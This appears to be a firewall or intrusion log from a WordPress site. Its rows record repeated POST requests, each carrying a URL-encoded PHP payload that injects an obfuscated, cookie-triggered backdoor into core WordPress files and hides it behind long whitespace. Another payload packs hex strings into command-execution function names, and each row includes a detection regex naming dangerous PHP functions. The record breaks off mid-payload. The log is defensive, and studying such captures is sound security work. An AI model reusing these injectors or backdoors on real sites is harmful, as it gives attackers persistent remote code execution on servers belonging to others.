HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3252\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvox8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\n\nnO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:49:36","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:3252\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nkP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:49:47","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3252\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\ngx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:49:48","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\ncontent-length:3275\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-span.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B36%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B36%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B36%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B2%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B3%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B16%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B14%255D%2528%2524n%252C%2524p%255B5%255D.%2524p%255B11%255D%2528%2524p%255B9%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:49:49","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524